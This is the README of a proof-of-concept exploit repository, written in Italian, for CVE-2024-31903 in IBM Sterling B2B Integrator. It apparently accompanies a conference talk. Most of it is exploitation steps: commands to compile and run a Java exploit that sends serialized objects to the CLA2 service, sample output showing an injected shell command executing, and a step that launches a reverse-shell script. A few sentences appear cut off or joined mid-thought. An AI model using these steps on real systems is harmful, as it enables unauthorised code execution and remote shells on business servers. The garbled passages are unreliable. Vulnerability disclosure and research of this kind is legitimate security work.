
Codice PoC per gli attacchi LPE e RCE (CVE-2024-31903) contro l'IBM Sterling B2B Integrator
Codice proof of concept per lo sfruttamento delle vulnerabilità scoperte contro IBM Sterling B2B Integrator, versioni da 6.2.0.0 a 6.2.0.2, e da 6.0.0.0 a 6.1.2.5 per sistemi Linux, Windows e AIX:
Maggiori dettagli su questi problemi sono disponibili nel mio talk al DistricCon "To B or not 2B: Breaking the IBM B2B Integrator with, and without authentication":
https://www.districtcon.org/bios-and-talks-2025/to-b-or-not-to-b
La maggior parte del codice in questo repository si riferisce all'attacco di iniezione di comandi LPE.
Il client binario Python bin_client.py può essere utilizzato per inviare messaggi manualmente a CLA2, consentendo lo sfruttamento della vulnerabilità RCE di deserializzazione.
$ java Main
$ Usage: Main <cmdLine> <outfile_or_SEND> [host] [port]
Il PoC accetta due parametri:
bin_client.py, oppure la stringa "SEND" per inviarlo immediatamente a host:porta dove un client CLA2 è in ascoltoIl codice sorgente incluso in questo repository è deliberatamente incompleto, poiché sono necessarie alcune classi del sottosistema CLA2. A seconda dei permessi del filesystem della directory di installazione, potresti essere in grado di accedere ai file JAR
Supponendo che tu abbia recuperato i file pertinenti dalla decompilazione dei JAR. Non verranno caricati qui in quanto costituiscono proprietà intellettuale IBM
Decompila CLA2Client.jar
Nel codice decompilato, individua i file CmdLine2Result.java e CmdLine2Parms.java
Copia e incollali accanto a Main.java per replicare la struttura delle directory del pacchetto Java dell'applicazione originale
/src/com/sterlingcommerce/woodstock/services/cmdline2/
${B2BHOME}/INSTALL/jdk/bin/javac src/com/sterlingcommerce/woodstock/services/cmdline2/*.java
${B2BHOME}/appl/SFG/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main '/bin/sh -c "id > /tmp/result"' SEND 127.0.0.1 5052
[+] Creating object...
[+] Sending object to 127.0.0.1:5052...
[+] ...Sent!
[+] Receiving header...
[+] ...header received: RESULT
[+] Receiving result...
[+] Result received:
##[DEBUG]## CmdLine2Result:
fileSize=0
outputNameLong=null
outputNameShort=null
******* end of CmdLine2Result *******
[+] clr.statusRpt: null
[+] clr.exceptionString: null
[+] clr.somethingToLog: CmdLine2Thread.runCommand: cmdLine before execution=/bin/sh -c "id > /tmp/result"
##[REMOTE DEBUG]## parm0=/bin/sh
##[REMOTE DEBUG]## parm1=-c
##[REMOTE DEBUG]## parm2=id > /tmp/result
revshell.py e revshell_listener.py sul sistema target, e avvia il listener. Poi, sostituisci il parametro del comando del PoC con un'invocazione dello script della reverse shell come di seguito:${B2BHOME}/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main 'python3 /tmp/revshell.py 9090' SEND